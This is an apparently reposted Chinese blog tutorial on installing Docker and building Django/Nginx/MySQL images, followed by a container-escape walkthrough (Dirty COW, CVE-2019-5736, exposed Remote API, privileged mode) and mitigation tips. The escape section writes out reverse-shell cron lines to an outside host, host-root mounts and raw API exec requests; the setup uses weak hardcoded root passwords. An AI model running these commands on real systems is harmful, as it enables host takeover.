运维基础-Docker容器命令部署

在这里插入图片描述

Docker基础知识

  • 安装问题-有podman
    • Centos8使用yum install docker -y时,默认安装的是podman-docker软件
    • 安装docker
  • yum list installed | grep docker
  • yum -y remove xxxx
    • Docker安装配置
        • 下载安装docker
        • 启动docker,并设置开机启动
        • 下载所需镜像
    • centos镜像进行配置Django
        • SSH镜像制作
        • 新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
        • run.sh写入内容
        • Dockerfile写入内容
    • 创建镜像
    • Django镜像制作
        • 新建django_centos文件夹并进入
        • run.sh写入内容
        • 创建镜像
    • Nginx镜像制作
        • 新建django_nginx文件夹并进入
    • 停止正在运行的 镜像进程
    • 搜索 镜像
    • compose 安装
      • docker常用命令
  • 漏洞复现-docker容器逃逸与研究
  • 前言
    • 三种方法
      • 利用dirty cow来进行docker逃逸
        • 利用前提
        • 前置知识
        • 利用dirty cow与VDSO来实现docker逃逸的过程
          • 判断是否为docker环境
          • 查看系统进程的cgroup信息
        • 下载脚本
        • 利用脚本
        • 利用结果
      • cve-2019-5736
        • 利用原理与条件
        • 漏洞触发过程
        • 下载利用脚本并修改
        • 编译脚本
        • 将编译好的main文件上传到docker中
        • 执行脚本并等待此docker再次被exec
      • docker配置不当
        • docket remote api未授权访问导致逃逸
          • 确定docker remote api是否可访问
        • 漏洞利用
          • 创建一个包,得到返回的exec_id的参数,数据包内容如下:
          • 得到exec_id参数后构造第二个exec_start数据包,内容如下:
          • 在docker容器内安装docker作为client
          • 查看宿主机的docker image信息
          • 启动一个容器并且将宿主机的根目录抓到容器的某个目录
          • 写一个计划任务反弹shell(或者写.ssh公钥都OK)
          • 在vps上使用nc命令等待反弹过来的shell
    • 利用特权模式逃逸
      • 漏洞原理
      • 漏洞利用
        • 查看磁盘文件
        • 将/dev/vda1也就是磁盘挂在到本地的任意文件下
        • 写入计划任务
        • 在vps上等待shell反连接
  • 防止docker逃逸的方法


1、启动所有容器docker start $(docker ps -a | awk '{ print $1}' | tail -n +2)
2、关闭所有容器docker stop $(docker ps -a | awk '{ print $1}' | tail -n +2)
3、删除所有容器docker rm $(docker ps -a | awk '{ print $1}' | tail -n +2)
4、删除所有镜像(慎用)docker rmi $(docker images | awk '{print $3}' |tail -n +2)删除docker中的容器可以使用如下命令:docker rm 容器id

安装问题-有podman

Centos8使用yum install docker -y时,默认安装的是podman-docker软件

1,卸载podman软件(可以使用rpm -qa|grep docker)
yum remove docker
2,下载docker-ce源
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
3,安装docker-ce
yum install docker-ce -y


安装docker

 yum install docker -y

在这里插入图片描述

Start Docker 启动docker

systemctl start docker  #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态

在这里插入图片描述

 # docker run hello-world

在这里插入图片描述

 # docker version

在这里插入图片描述

 查看执行过的docker进程:docker ps --all

在这里插入图片描述

  • 环境
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

传送门
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
安装最新版docker按这步操作就行,需要指定版本 在这里插入图片描述

 yum install docker-ce docker-ce-cli containerd.ioyum install -y docker-ce docker-ce-cli containerd.io

安装指定版本的,首先列出可用的版本有哪些,然后选择并安装

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

 yum makecache  #生成仓库缓存

在这里插入图片描述

DaoCloud 加速器 是广受欢迎的 Docker 工具,解决了国内用户访问 Docker Hub 缓慢的问题。DaoCloud 加速器结合国内的 CDN 服务与协议层优化,成倍的提升了下载速度。
在这里插入图片描述在这里插入图片描述

在这里插入图片描述




2021/2/24

在这里插入图片描述

 1. 下载docker-ce的repocurl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo2. 安装依赖
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm3. 安装docker-ce
yum install docker-ce4. 启动docker
systemctl start docker

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 不通

在这里插入图片描述

备份旧的配置文件mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
下载新的 CentOS-Base.repo 到 /etc/yum.repos.d/ 这里是改为阿里云的
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo生成缓存
yum makecacheyum 包更新到最新
yum update

在这里插入图片描述
在这里插入图片描述

安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
yum install -y yum-utils device-mapper-persistent-data lvm2

在这里插入图片描述

设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

在这里插入图片描述

如果出现错误提醒
(尝试添加 ‘–skip-broken’ 来跳过无法安装的软件包 或 ‘–nobest’ 来不只使用最佳选择的软件包)
使用下面命令

yum install -y https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/edge/Packages/containerd.io-1.2.6-3.3.e

在这里插入图片描述

命令安装最新的 containerd.io、然后就可以顺利的安装Docker4、 安装docker,出现输入的界面都按 yyum install -y docker-ce

在这里插入图片描述

查看docker版本,验证是否验证成功docker -v

在这里插入图片描述

Docker 要求 CentOS 系统的内核版本高于 3.10,可以使用uname -r命令来查看自己的系统内核版本

卸载重装

yum remove docker  docker-common docker-selinux docker-engine 

在这里插入图片描述
安装工具包yum-utils

 yum install -y yum-utils

选择国内的源,速度会快一些,此处选择阿里云的

 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

在这里插入图片描述
查看 docker 版本

yum list docker-ce --showduplicates | sort -rLoading mirror speeds from cached hostfile
Loaded plugins: fastestmirror
Installed Packages
docker-ce.x86_64            3:20.10.6-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.6-3.el7                    @docker-ce-stable
docker-ce.x86_64            3:20.10.5-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.4-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.3-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.2-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.1-3.el7                    docker-ce-stable
...可以从上面中任选一个版本指定安装,将以下<VERSION_STRING>替换成对应版本即可

yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io

也可以通过不指定版本直接安装最新版

yum install docker-ce docker-ce-cli containerd.io


docker version

在这里插入图片描述

运行官方提供的验证镜像helloworld

在这里插入图片描述

环境介绍
CentOS7.4 基础服务器版本
Docker
Django 此为docker镜像
Nginx 此为docker镜像
MySQL 此为docker镜像

Docker安装配置

下载安装docker
 yum -y install docker vim

在这里插入图片描述

启动docker,并设置开机启动
systemctl start docker
systemctl enable docker

在这里插入图片描述

下载所需镜像
docker pull centos
docker pull nginx
docker pull mysql # 如果下载别的版本MySQL加写成,如:mysql:5.6

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

centos镜像进行配置Django

为方便以后使用这里分为SSH和Django两步来做

SSH镜像制作

新建ssh_image文件夹并进入

mkdir -p create_docker_image/ssh_image
cd create_docker_image/ssh_image

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
touch Dockerfile run.sh
chmod +x run.sh

在这里插入图片描述

run.sh写入内容
 vim run.sh
 #! /bin/bash
/usr/sbin/sshd -D

在这里插入图片描述在这里插入图片描述

Dockerfile写入内容
 vim Dockerfile
 # 设置继承镜像
FROM centos:latest# 提供一些作者的信息
MAINTAINER wallie@910# 开始运行命令
RUN yum install -y openssh-server
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ecdsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ed25519_key
RUN sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
RUN sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
RUN echo "123456" | passwd --stdin root
ADD run.sh /run.sh
EXPOSE 22CMD ["/run.sh"]
  • 温馨提示 注意网络安全

      by:aming  2021/09/28
    

创建镜像

 docker build -t sshd:centos . 
 aming 温馨提示   注意后面 有个 什么小东东

在这里插入图片描述
在这里插入图片描述

	  aming提醒  sshd 配置 要正确   这一步 会报错

在这里插入图片描述

Django镜像制作

“mysite”的项目建议自己提前搭建好,直接拷贝过来用,但针对有路径需要做一些调整
新建django_centos文件夹并进入
cd /aming/.../
mkdir -p  django_centos
cd  django_centos

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限

 touch Dockerfile run.shchmod +x run.sh

在这里插入图片描述

run.sh写入内容
#! /bin/bash
# 同步数据库
python manage.py makemigrate --noinput
python manage.py migrate --noinput
# uwsgi启动django
uwsgi quwan_app/uwsgi.ini
/usr/sbin/sshd -D
tail -f /dev/null
 Dockerfile写入内容
 # 指定操作的镜像
FROM sshd:centos# 指定操作的镜像
FROM sshd:centos# 创建文件夹
RUN mkdir -p /data/wwwroot  # 项目存放路径 
RUN mkdir -p /data/static
RUN mkdir -p /data/media# 拷贝文件, 
COPY quwan_app /data/wwwroot/quwan_app 
# “mysite” 为你自己的django项目可以自行更改
COPY run.sh /data/wwwroot/quwan_app/web_run.sh	#这句指令相当与:cd /data/wwwroot/mysite
WORKDIR /data/wwwroot/quwan_app# 安装软件
RUN yum install epel-release -y
RUN yum -y install gcc python36 net-tools
RUN yum -y install python36-devel mysql-devel
RUN ln /usr/bin/python3.6 /usr/bin/python -f
RUN cp /usr/bin/yum /usr/bin/yum.bak
RUN cp /usr/libexec/urlgrabber-ext-down /usr/libexec/urlgrabber-ext-down.bak
RUN cp /usr/bin/yum-config-manager /usr/bin/yum-config-manager.bak
RUN sed 's/python/python2/g' /usr/bin/yum.bak > /usr/bin/yum
RUN sed 's/python/python2/g' /usr/libexec/urlgrabber-ext-down.bak > /usr/libexec/urlgrabber-ext-down
RUN sed 's/python/python2/g' /usr/bin/yum-config-manager.bak > /usr/bin/yum-config-manager
RUN pip3 install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django_crontab -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install pymysql -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install mysqlclient -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install uwsgi -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install cryptography -i https://mirrors.aliyun.com/pypi/simple/ EXPOSE 8080
RUN sh web_run.sh# linux运行会报错修复
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak
#RUN sed 's/query.decode/query.encode/g' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py
#RUN sed '35,36d' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak  > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py

在这里插入图片描述
准备好项目 目录

创建镜像
 docker build -t web:django . 

在这里插入图片描述在这里插入图片描述

Nginx镜像制作

新建django_nginx文件夹并进入
 cd
mkdir -p create_docker_image/django_nginx
cd create_docker_image/django_nginx
 Dockerfile写入内容
 # 指定操作的镜像
FROM docker.io/nginx# 作者
MAINTAINER zhoufan# 系统部署
RUN mkdir -p /data/static

 创建镜像

 docker build -t web:nginx .

在这里插入图片描述

MySQL镜像制作
 touch Dockerfile setup.sh
chmod +x setup.sh

Dockerfile写入内容
在这里插入图片描述

	setup.sh写入内容
 #!/bin/bashset -e# 启动mysql
service mysql start# 用来检测问题
echo '导入开始'
# 输入数据库project.sql
mysql < /root/project.sql
echo `service mysql status`# 用来检测问题
echo '开始修改密码'
# 导入数据库privileges.sql
mysql < /root/privileges.sql
echo `service mysql status`
tail -f /dev/null

	privileges.sql数据库
 确认数据库文件开关是否有创建库文件和使用库文件的语句
就 是 project.sql ,前两句 
 CREATE DATABASE /*!32312 IF NOT EXISTS*/ `project` default character set utf8 collate utf8_general_ci;
USE `project`;DROP TABLE IF EXISTS `abc`;CREATE TABLE `abc` (`id` int(11) DEFAULT NULL,`name` varchar(25) DEFAULT NULL,`deptid` int(11) DEFAULT NULL,`salary` float DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;LOCK TABLES `abc` WRITE;UNLOCK TABLES;
privileges.sql数据库

这个库文件是设置本地和远程root帐号和密码的,“test”为密码

 use mysql;
/*修改root密码*/
update user set password=password('test') where user='root' and host='localhost'; 
/*添加root远程登陆*/
grant all privileges on *.* to root@'%' identified by 'test';
flush privileges; 
三个主程序的镜像已经做完了,可以进行容器运行容器的启动配置 把启动命令分别写到不同的sh文件中,方便修改
 cd
mkdir django_run
cd django_run
数据库容器启动配置启动文件
start_db.sh
#!/bin/bash
docker run --restart=always -d --name db  --privileged=true web:mysql 
--restart=always    这是保持容器自动启动
--name db       容器的别名改为db 
--privileged=true   获取mysql容器权限
-v          指定映射文件夹,这里指定的是库文件到本地
web:mysql      镜像名 

运行启动文件

sh start_db.sh
docker ps

指定容器为空,请查看最后的命令操作查看错误和删除容器

Django启动
因 为 d j a n g o 与 数 据 库 d b 有 链 接 , 所 以 数 据 库 运 行 成 功 后 , d j a n g o 才 能 运 行 , 不 然 会 报 错

vim start_web.sh

 #!/bin/bashdocker run --restart=always -d --name web --link db -p 8000:8000 -v /data/nginx/static/:/data/static web:django
--restart=always    这是保持容器自动启动
--name web     容器的别名改为web
--link db      指定db的关联,django中连接数据的IP地址可以直接写成“db”
-p 8000:8000     映射端口到主机,可不用加
-v 挂载
web:django     镜像名 

运行启动文件

sh start_web.sh
docker ps

Nginx启动
因 为 N g i n x 与 d j a n g o 有 链 接 , 所 以 d j a n g o 运 行 成 功 后 , N g i n x 才 能 运 行 , 不 然 会 报 错

vim start_nginx.sh
#!/bin/bash
docker run --restart=always -d --name nginx --privileged=true -p 80:80 -v /data/nginx/conf.d/web.conf:/etc/nginx/nginx.conf -v /data/nginx/logs:/var/log/nginx -v /data/nginx/statc:/data/static --link web web:nginx
--restart=always    这是保持容器自动启动
--name web     容器的别名改为nginx
--link db      指定django的关联,nginx中连接django的IP地址可以直接写成“web”
-p 80:80     映射端口到主机
web:django     镜像名 

运行启动文件

 sh start_nginx.sh
docker ps

docker ps 命令查看容器的运行信息

运行容器,并且可以通过 exec 命令进入 容器。
$ docker run -itd --name centos-test centos:centos7 在这里插入图片描述

docker exec -it  xxxname  /bin/bash docker images -a   查看所有镜像docker rmi  移除镜像docker rmi  REPOSITORY:TAG 
docker system prune --volumes   

停止正在运行的 镜像进程

docker ps
docker kill f03cd21e7f17

 # 杀死所有正在运行的容器.
alias dockerkill='docker kill $(docker ps -a -q)'# 删除所有已经停止的容器.
alias dockercleanc='docker rm $(docker ps -a -q)'# 删除所有未打标签的镜像.
alias dockercleani='docker rmi $(docker images -q -f dangling=true)'# 删除所有已经停止的容器和未打标签的镜像.
alias dockerclean='dockercleanc || true && dockercleani'

使用image创建container并进入交互模式, login shell是/bin/bash

 docker run -i -t centos:7 /bin/bash
 接着终端就是容器中的centos的了,默认是root用户登录,接下来的操作都在容器中了
二、容器中安装passwd,openssl,openssh-server
 yum install passwd openssl openssh-server -y
 安装完成后
启动sshd:# /usr/sbin/sshd -D
 这时报以下错误:
[root@ b3426410ff43 /]# /usr/sbin/sshd
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_ecdsa_key
Could not load host key: /etc/ssh/ssh_host_ed25519_key执行以下命令解决:[root@b3426410ff43 /]# ssh-keygen -q -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key -N ''  
[root@b3426410ff43 /]# ssh-keygen -q -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -N ''
[root@b3426410ff43 /]# ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key -N '' 然后,修改 /etc/ssh/sshd_config 配置信息:
UsePAM yes 改为 UsePAM no
UsePrivilegeSeparation sandbox 改为 UsePrivilegeSeparation no
可以用vi改,也可以用下面命令[root@b3426410ff43 /]# sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
[root@b3426410ff43 /]# sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
 修改完后,重新启动sshd[root@b3426410ff43 /]# /usr/sbin/sshd -D然后修改root密码passwd root或者直接一句修改echo “123456″ | passwd --stdin root接着需要把修改后的镜像保存了,首先输入exit退出容器,再使用下面命令查看刚运行过的,
docker commit将修改后镜像保存到本地,参数是ID,名字#docker ps -all
CONTAINER ID IMAGE    COMMAND    CREATED       STATUS          PORTS   NAMES
b3426410ff43 centos:7  "/bin/bash" 4 minutes ago    Exited (0) 4 seconds ago      centos7ssh
#docker commit b5926410fe60 myimage/centos7-ssh 
下次可以输入刚保存的名字启动修改过安装了ssh服务的镜像了。 

搜索 镜像

docker search mysql

compose 安装

sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.1/docker-compose-uname -s-uname -m -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

docker-compose -v

开源的应用容器引擎,基于 Go 语言并遵从 Apache2.0 协议开源

Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。

镜像(Image):

Docker 镜像(Image)就相当于是一个 root 文件系统。

比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。

容器(Container):

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,

镜像是静态的定义,容器是镜像运行时的实体。

容器可以被创建、启动、停止、删除、暂停等。

仓库(Repository):

仓库可看成一个代码控制中心,用来保存镜像。

相关地址

官方hub仓库:hub.docker.com

菜鸟教程:https://www.runoob.com/docker/docker-tutorial.html

官方安装:https://docs.docker.com/engine/install/

win10系统 下载地址如下:

https://hub.docker.com/editions/community/docker-ce-desktop-windows/

如果您的系统不符合运行Docker for Windows的要求,则可以安装Docker Toolbox,

Dockbox Toolbox使用Oracle Virtual Box而不是Hyper-V。

Docker Toolbox和Docker Machine用户必读:

​ 适用于Windows的Docker需要运行Microsoft Hyper-V。

如果需要,Docker for Windows安装程序将为您启用Hyper-V,并重新启动计算机。

启用Hyper-V后,VirtualBox将不再工作,但任何VirtualBox VM映像将保留。

使用docker-machine(包括通常在Toolbox安装期间创建的默认虚拟机)创建的VirtualBox VM将不再启动。

这些虚拟机不能与Docker for Windows并行使用。

但是,您仍然可以使用docker-machine来管理远程VM。

必须启用虚拟化。通常,默认情况下启用虚拟化。(请注意,这与启用Hyper-V不同)

目前版本的Docker for Windows在64位Windows 10 Pro,企业和教育(1607周年纪念版,Build 14393或更高版本)上运行。

将来我们将支持更多版本的Windows 10。

使用Docker for Windows创建的容器和图像在安装的机器上的所有用户帐户之间共享。

这是因为所有Windows帐户都将使用相同的虚拟机来构建和运行容器。

将来,Docker for Windows将更好地隔离用户内容。

嵌套的虚拟化场景,例如在VMWare或Parallels实例上运行Docker for Windows,可能会起作用,但不能保证(即不正式支持)。

Docker for Windows安装包括:

安装提供Docker Engine,Docker CLI客户端,Docker Compose,Docker Machine和Kitematic。

安装Docker for Windows

在上面的查找例子中,我们可以分析出一些B+树的性质:

双击Docker for Windows Installer.exe以运行安装程序。

.按照安装向导接受许可证,授权安装程序,然后继续安装。

您将被要求在安装过程中使用系统密码授权Docker.app。

需要特权访问来安装网络组件,指向Docker应用程序的链接,以及管理Hyper-V虚拟机。

单击安装完成对话框上的Finish以启动Docker。

Docker无法自动启动。要点击开始,搜索Docker,在搜索结果中选择应用程序,然后单击它(或按返回)。

当状态栏中的鲸鱼保持稳定时,Docker可以正常运行,并可从任何终端窗口访问。

docker常用命令


■ 基础命令# 查看docker基础信息docker info# 拉取镜像docker pull :# 移除容器docker rm# 移除镜像docker rmi# 启动、停止、重启容器docker stop  docker start  docker restartdocker run -itd --name -P/-p: /bin/bash# 查看docker容器docker ps# 打包镜像docker tag // docker push /# 登录dockerdocker login# 进入容器内部docker exec    -it     xxx   /bin/bash# 从仓库搜索镜像docker search■ 批量操作# 杀死所有正在运行的容器docker kill $(docker ps -a -q)# 删除所有的容器docker rm $(docker ps -a -q)# 删除所有未打 dangling 标签的镜像docker rmi $(docker images -q -f dangling=true)# 删除所有镜像docker rmi $(docker images -q) docker rmi $(docker images -q)# 强制删除无法删除的镜像docker rmi -f  docker rmi -f $(docker images -q)■ DockerfileDockerfile是一个包含用于组合镜像的命令的文本文档。可以使用在命令行中调用任何命令。Docker通过读取文件中的指令自动生成镜像。脚本结构:基础镜像信息维护者信息镜像操作指令容器启动时执行指令’#’ 为 Dockerfile 中的注释"&&" 符号连接命令,这样执行后,只会创建 1 层镜像Docker以从上到下的顺序运行Dockerfile的指令。为了指定基本镜像,第一条指令必须是FROM。一个声明以#字符开头则被视为注释。可以在Docker文件中使用RUN,CMD,FROM,EXPOSE,ENV等指令。■ docker-composeCompose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务。然后,使用一个命令就可以从 YML 文件配置中创建并启动所有服务。Compose 使用的三个步骤:使用 Dockerfile 定义应用程序的环境。使用 docker-compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行。最后,执行 docker-compose up 命令来启动并运行整个应用程序。 

docker-compose down

漏洞复现-docker容器逃逸与研究

前言

获取某个系统shell后发现其是docker
这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。

三种方法

利用dirty cow来进行docker逃逸

利用前提

利用成功的前提是,宿主机的内核有dirty cow漏洞

前置知识

Linux中VDSO(virtual dvnamic shared object)小型共享库
将内核中的.so文件映射到到所有用户程序的内存地址空间,
.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件, 可以理解成将内核中的函数映射到内存中,方便大家访问。

利用dirty cow与VDSO来实现docker逃逸的过程
dirty cow漏洞可以让我们获取只读内存的写的权限,
我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,
然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。
这段shellcode初始化的时候会检查是否是被root调用,
如果是则继续执行,如果不是,则接着执行clock_gettime函数,
接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,
然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。(获取宿主机shell) 

在这里插入图片描述

判断是否为docker环境

docker环境中根目录下存在此文件

ls -alh /.dockerenv   

在这里插入图片描述

查看系统进程的cgroup信息

在Linux内核中,容器(container)这个名词有许多不同的意义,为避免混乱,被重命名为cgroup
对进程进程分组,比如Sessiongroup、process group等,
需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。

对于容器技术而言,它实现资源层面上的限制和隔离,
依赖于 Linux 内核所提供的 cgroup 和 namespace 技术

 cat /proc/1/cgroup

在这里插入图片描述

下载脚本

如果没有 git与curl
那么就用shell文件管理传上去 用unzip和tar 解压
在这里插入图片描述

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

如果docker 无make


cat /etc/centos-release
CentOS Linux release 7.9.2009 (Core)nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [payload] Error 127yum install nasm
[root@VM-24-12-centos docker]# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread会出现 bash: ./1: No such file or directory  链接库依赖问题
改为 
/dirtycow-vdso >make
nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [Makefile:16: payload] Error 127/dirtycow-vdso >apk add nasm
(1/1) Installing nasm (2.13.03-r0)
Executing busybox-1.29.3-r10.trigger
OK: 154 MiB in 64 packages

在这里插入图片描述

利用脚本
chmod 777 0xdeadbeef
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

在这里插入图片描述

利用结果

直接反弹宿主机的shell到127.0.0.1如图所示
在这里插入图片描述
在根目录内创建一个任意文件。
查看是否漏洞被利用成功。

cve-2019-5736

利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为:

runc版本<=1.0-rc6
Docker Version < 18.09.2

漏洞触发过程

修改利用脚本中的反弹shell命令,
使用go build来编译脚本,
将脚本上传到docker中,
等待宿主机执行exec进入当前docker容器
宿主机就会向我们的vps反弹root权限的shell。

下载利用脚本并修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改 后面的命令为反弹shell命令即可。
在这里插入图片描述

编译脚本
go build main.go

在这里插入图片描述

将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可

执行脚本并等待此docker再次被exec
docker exec -it test /bin/bash

当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,
宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

docker配置不当

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。
主从管理、默认通过2375端口通信。
绑定了一个Docker Remote API的服务,
可以通过HTTP、Python、调用API来操作Docker。

确定docker remote api是否可访问

http://ip:2375/version

在这里插入图片描述

漏洞利用

访问http://ip:2375/containers/json看是否出现以下画面:
在这里插入图片描述

创建一个包,得到返回的exec_id的参数,数据包内容如下:
 POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”,/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

在这里插入图片描述
注意其中的cmd字段,这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json{
“Detach”: false,
“Tty”: false
}

在这里插入图片描述
成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

在docker容器内安装docker作为client
    apt-get install docker.ioyum -y install docker 
查看宿主机的docker image信息
   docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录抓到容器的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1>> /test/var/spool/cron/root
在vps上使用nc命令等待反弹过来的shell
nc -lvp 8888 

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。
因为当管理员执行docker run —privileged时,
Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

漏洞利用

查看磁盘文件
 fdisk -l

在这里插入图片描述

将/dev/vda1也就是磁盘挂在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan

在这里插入图片描述
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

写入计划任务
 echo* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1>> /nuoyan/var/spool/cron/root
在vps上等待shell反连接
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 >1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/129840.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【报错】错误 C1004 :发现意外的文件尾

文章目录 情景在现出错原因解决方案问题解决 情景在现 出错原因 这个错误通常是由于您在源文件中漏写了某些括号或者分号&#xff0c;导致编译器在处理到文件末尾时发现没有遇到预期的符号。 解决方案 解决这个错误的方法是&#xff0c;打开您的源文件&#xff0c;仔细检查是否…

EMC Unity存储系统如何查看SSD的使用寿命

为什么要写这个博客&#xff1f; 客户对老的EMC unity的存储系统要扩容&#xff0c;如何确定SSD磁盘是全新的还是拆机二手的&#xff1f;很多时候客户还有一个奇葩的要求&#xff0c;就是要和5年前的磁盘PN一致&#xff0c;甚至要求固件版本一致&#xff0c;最关键的还要求是全…

大数据(十):数据可视化(二)

